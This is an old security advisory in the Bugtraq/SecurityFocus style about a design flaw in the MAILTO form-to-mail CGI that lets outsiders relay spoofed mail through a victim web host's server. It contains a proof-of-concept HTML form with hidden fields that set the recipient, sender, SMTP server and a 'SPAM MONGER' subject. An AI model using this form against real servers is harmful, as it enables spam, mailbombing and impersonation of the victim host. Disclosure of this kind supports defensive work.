Brian Dorricott MAILTO Unauthorized Mail Server Use Vulnerability

Bugtraq ID:	3669
Class:	Design Error
CVE:	CVE-2001-1188
Remote:	Yes
Local:	No
Published:	Dec 11 2001 12:00AM
Updated:	Jul 11 2009 09:06AM
Credit:	Discovered and posted to Bugtraq by [email protected] <[email protected]>.
Vulnerable:	Brian Dorricott MAILTO 1.0.9 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional - Microsoft Windows NT 4.0 SP6a - Microsoft Windows NT 4.0 SP6 - Microsoft Windows NT 4.0 SP5 - Microsoft Windows NT 4.0 SP4 - Microsoft Windows NT 4.0 SP3 - Microsoft Windows NT 4.0 SP2 - Microsoft Windows NT 4.0 SP1 - Microsoft Windows NT 4.0 Brian Dorricott MAILTO 1.0.8 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional - Microsoft Windows NT 4.0 SP6a - Microsoft Windows NT 4.0 SP6 - Microsoft Windows NT 4.0 SP5 - Microsoft Windows NT 4.0 SP4 - Microsoft Windows NT 4.0 SP3 - Microsoft Windows NT 4.0 SP2 - Microsoft Windows NT 4.0 SP1 - Microsoft Windows NT 4.0 Brian Dorricott MAILTO 1.0.7 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional - Microsoft Windows NT 4.0 SP6a - Microsoft Windows NT 4.0 SP6 - Microsoft Windows NT 4.0 SP5 - Microsoft Windows NT 4.0 SP4 - Microsoft Windows NT 4.0 SP3 - Microsoft Windows NT 4.0 SP2 - Microsoft Windows NT 4.0 SP1 - Microsoft Windows NT 4.0
Not Vulnerable:

Brian Dorricott MAILTO Unauthorized Mail Server Use Vulnerability

MAILTO is a program maintained by Brian Dorricott. It enables web servers to allow forms to be converted into mail messages that can be sent to numerous recipients.

An issue exists in MAILTO which could allow an attacker to send emails through a remote host's server.

Sites that utilize or provide MAILTO are susceptible to this issue, typically their mail server information is published when providing install and usage instructions. This information can allow a user to include the mail server information into an HTML file and submit it via MAILTO. This email will then be delivered to the specified recipient with the appearance of originating from the victim web host.

This problem makes it possible for a user with malicious intentions to socially engineer, mailbomb, or spam from as though it's coming from the victim web host.

Brian Dorricott MAILTO Unauthorized Mail Server Use Vulnerability

The following example has been provided by [email protected] <[email protected]>:


<FORM ACTION="HTTP://WWW.MALWARE.COM/CGI-BIN/MAILTO.EXE" METHOD="POST">
<INPUT TYPE="hidden" NAME="sendto" [email protected]>
<INPUT TYPE="hidden" NAME="email" VALUE="[email protected]">
<INPUT TYPE="hidden" NAME="server" VALUE="smtp.malware.com">
<INPUT TYPE="hidden" NAME="subject" VALUE="SPAM MONGER">
<INPUT TYPE="hidden" NAME="resulturl" VALUE=http://ww.malware.com>

Name: <INPUT NAME="uname" SIZE=30>
Position: <INPUT NAME="title" SIZE=30>
Company: <INPUT NAME="company" SIZE=30>
E-Mail: <INPUT NAME="email" SIZE=30>
Comments:<TEXTAREA name="comments" ROWS=10 COLS=50 SIZE="10"></TEXTAREA>

Press <INPUT TYPE="submit" VALUE="Submit">
Idiot <INPUT TYPE="HALT !" VALUE="The Above Is A Example Only - The Data Is Fake">

Brian Dorricott MAILTO Unauthorized Mail Server Use Vulnerability

Solution:
Currently the SecurityFocus staff are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

Brian Dorricott MAILTO Unauthorized Mail Server Use Vulnerability

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